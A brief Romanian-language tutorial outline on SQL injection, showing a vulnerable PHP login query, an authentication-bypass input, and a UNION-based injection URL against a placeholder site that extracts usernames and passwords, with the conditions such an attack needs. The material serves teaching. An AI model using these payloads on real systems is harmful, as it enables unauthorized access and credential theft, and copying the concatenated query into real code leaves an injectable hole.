SQL Injection – concepte generale

Ocolire autentificare

$query = “select * from users where username = ‘$username’ and password = ‘$password‘ “;

$query = “select * from users where username = ‘bob’#’ and password = ‘$password‘ “;

Data exfiltration

Exemplu: Union based SQLi

URL vulnerabil la SQLi:

http://www.victim.com/shop/show_prod.php?id=1234’ UNION SELECT username,password from users —

Aplicatie va executa urmatoarele:

SELECT title, description FROM products where id=‘1234’ UNION SELECT username, password from users

Cerințe:

  • Rezultatele trebuie să aibă același număr și același tip de coloane.
  • Atacatorul trebuie să cunoască numele tabelului cautat.

Stergere sau alterare date